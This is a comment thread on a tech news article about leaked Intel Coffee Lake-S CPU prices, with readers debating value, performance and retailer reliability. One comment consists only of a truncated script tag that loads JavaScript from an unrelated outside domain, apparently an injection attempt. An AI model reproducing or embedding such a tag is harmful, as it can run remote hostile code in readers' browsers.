Prices of Intel’s Coffee Lake-S CPUs Published: $400 for Core i7-8700K?

62 Comments

View All Comments

• mczak - Tuesday, September 19, 2017 - link

  I think just focusing on the price increase for the "equivalent" model is quite a negative point of view.
  With previous new intel cpus, you basically got a cpu which was minimally faster than the former version, at the same price. Now you get one which is substantially faster, but at a slightly higher price.
  You could, however, instead focus on comparisons to former cpus based on performance. For instance, that i3-8100 looks like a very good deal compared to previous core i5. Sure it won't have turbo, but it's got a base frequency of 3.6Ghz - the core i5-7400, while costing 50 bucks more, has a max turbo frequency of 3.5Ghz, so that new little core i3 should always beat it (I would in fact expect that i3 to be closer in performance to the core i5-7500, which has base freq of 3.4Ghz and turbo freq of 3.8Ghz).
  So imho that little i3 looks very promising (this should also help to differentiate the i3 again against the latest pentiums, which also were 2 cores, 4 threads, and nearly the same performance as the i3).

• Intelfanboi69 - Tuesday, September 19, 2017 - link

  The i5-8400 is also a good deal it can boost clock to 3.8 ghz and will probably beat ryzen in gaming

• Ahnilated - Wednesday, September 20, 2017 - link

  Where is your proof on it being "substantially faster"? It isn't out in public yet so how do you know this?

• mczak - Wednesday, September 20, 2017 - link

  How could they not be faster? These chips are pretty much all the same as the previous ones (they aren't really a new generation), they've just got more cores. And while for some models the base clock may be lower, the turbo clock rates will be similar or higher (so if not all cores are used they will reach slightly higher clocks than the old ones).
  So, single-threaded, there won't really be much of an improvement. Multithreaded, you can however definitely expect a substantial increase (even if the achieved actual clock rates may be slightly lower in this case)

• fourier07 - Saturday, September 23, 2017 - link

  Well, for sure this is an ironic claiming. Due an obvious better technology now we get a more powerful CPU but also the cost of manufacture has been improved. Just probably the cost of researching increases. Even so, if we take as an example the i7 since Sandy Bridge to Coffee Lake, we see an increase of 26.18% which seems to me high for an economy like the United States, I never has lived in the States, though. If AMD succeed, we shall see more stable prices at the future. Just my impression.

• faric22 - Tuesday, September 26, 2017 - link

  <script src="http://gimpotojeju.com/cole.js"></scrip...

• edzieba - Tuesday, September 19, 2017 - link

  Better to compare with UK retail prices than US prices, because we get gouged above the norm. For example, Lambda-tek sell the i7-7700k for £310 retail and £313 tray. Yes, their tray price is higher, because Lambda-tek's pricing is infamous for being all over the place. They're possibly one of the worst sources to pick if you want to try and guess MSRPs.

• ImSpartacus - Tuesday, September 19, 2017 - link

  Yeah, the best way to do this is to measure everything in the currency of the leak.
  
  If the 8700K is 5% costlier than the typical #700K price, then expect the USD price to increase 5%. It's that simple.

• mapesdhs - Tuesday, September 19, 2017 - link

  Yeah, it's a bit dodgy to judge what will happen in the US based on UK pricing. There are some whacko price markups here, and they're never consistent, eg. compare the MSI 1080 Ti Gaming X on newegg vs Scan in the UK, the difference is enormous, but differences for other types of product can be higher or lower, it varies. And indeed, Lambda-tek's pricing is often weird; I normally check Scan for a sense of typical pricing, cross check with Amazon, Aria, OCUK and others for best price.

• PenguinJim - Tuesday, September 19, 2017 - link

  Agreed. Lambda-tek had their Vega 64 pre-order for £703 - and now it's £620! Or looking at the last CPU launch, their 1700X was a whopping £380 pre-order. They're not a particularly reliable or sizeable retailer from which to spin a whole article like this!
  
  Although if we use these actual historical prices to try to gauge how much Lambda is off by, it seems to be almost a 1:1 conversion. In other words, the 8700K will cost US$354.
  
  But while that is a more thorough and less knee-jerk method of applying Lambda's prices to the real world, it's still absolute nonsense - because it's only Lambda-tek anyway! The only real takeaway from this article is that the 8700K will not cost MORE than $400.
  
  It's so strange - I was sure I was trying to visit anandtech, but I seem to have just read a WCCFTech article instead! :P